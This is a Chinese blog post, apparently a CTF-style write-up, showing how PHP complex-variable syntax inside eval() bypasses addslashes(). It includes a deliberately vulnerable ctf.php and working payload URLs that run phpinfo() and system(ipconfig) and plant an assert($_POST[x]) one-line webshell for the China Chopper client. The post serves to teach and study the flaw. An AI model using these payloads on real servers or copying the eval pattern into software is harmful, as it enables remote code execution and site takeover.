PHP复杂变量绕过addslashes()直接拿shell

作者: DYBOY | 来源:发表于2018-06-15 21:50 被阅读10次

很早的时候,渗透吧群里的朋友提出的一个问题,自己也是迷迷糊糊,遂记之如下!

0x00 示例ctf.php

<?php
    @$_str = $_GET['str'];
    //print_r($_str);
    $_temp = '$str="'.addslashes($_str).'";';
    @print_r($_temp);
    @eval('$str="'.addslashes($_str).'";');
?>

0x01 绕过执行代码

访问链接如下:
http://www.test.com/ctf.php?str=${phpinfo()}


就可成功执行任意的代码了!

0x02 原理分析

涉及到php复杂变量相关的知识,找了网上的很多博客,居然相关资料很少...

  • eval()函数函数的作用如下:
    eval() 函数把字符串按照 PHP 代码来计算。
    该字符串必须是合法的 PHP 代码,且必须以分号结尾。
    如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
  • 双引号作用
    之前的一篇文章《PHP中的单双引号区别》(https://blog.dyboy.cn/program/12.html) 有讲
    在eval()函数内部作为php代码执行,这里就可以解析双引号中的变量
  • PHP复杂变量
    {}不能被转移,其包裹的部分可当作变量
    小东人工翻译一下就是${phpinfo()}和{${phpindo()}}是一样的,花括号{}只是用于区别变量边界的标识符

0x03 Getshell

那么有了eval()该如何执行任意代码呐?
简单尝试:
http://www.test.com/ctf.php?str=${${system(ipconfig)}}

执行任意代码成功
构造我们的小马,便于连接菜刀:
http://www.test.com/ctf.php?str=${${assert($_GET[x])}}&x=phpinfo()
这里为了便于浏览,我改成了GET型参数,菜刀链接网址如下:
http://www.test.com/ctf.php?str=${${assert($_POST[x])}}
密码:x
成功拿到shell
成功

0x04 总结

成功学习了一波,同时可以出去吹水了,addslashes()在编码UTF-8时,也是可能绕过的~

image

相关文章

  • PHP复杂变量绕过addslashes()直接拿shell

    很早的时候,渗透吧群里的朋友提出的一个问题,自己也是迷迷糊糊,遂记之如下! 0x00 示例ctf.php 0x01...

  • PHP addslashes函数

    php addslashes函数的作用是在预定义的字符前面加上反斜杠,这些预定义字符包括: 1、单引号(') 2、...

  • shell变量、数组、注释等基本操作

    Shell 变量 定义变量时,变量名不加美元符号($,PHP语言中变量需要),如: your_name="runo...

  • Shell 变量

    Shell 变量 定义变量时,变量名不加美元符号($,PHP语言中变量需要),如:var1="hello worl...

  • 【PHP】PHP内置过滤函数总结

    【PHP】PHP内置过滤函数总结 0x01 防止SQL注入 addslashes() 将 单引号(') 双引号("...

  • php后台拿shell要知道php的路径-尚未验证,大家验证可用

    转自 资料 php后台拿shell要知道php的路径 方法一: CREATE TABLE `mysql`.`xia...

  • Shell Note about bash

    Shell 变量 定义变量时,变量名不加美元符号($,PHP语言中变量需要),如: 注意,变量名和等号之间不能有空...

  • Shell 变量/字符串/数组/注释

    Shell 变量 定义变量是,变量名不加$,($,PHP语言中变量需要),如: 注意变量名和等号之间不能有空格,同...

  • shell(二)

    Shell 变量定义变量时,变量名不加美元符号(但是$,PHP语言中变量好像是需要),如: 注意,变量名和等号之间...

  • Shell 变量

    Shell变量 定义变量时,变量名不加美元符号($,PHP语言中变量需要),如: 注意,变量名和等号之间不能有空格...

网友评论

    本文标题:PHP复杂变量绕过addslashes()直接拿shell

    本文链接:https://www.haomeiwen.com/subject/leqveftx.html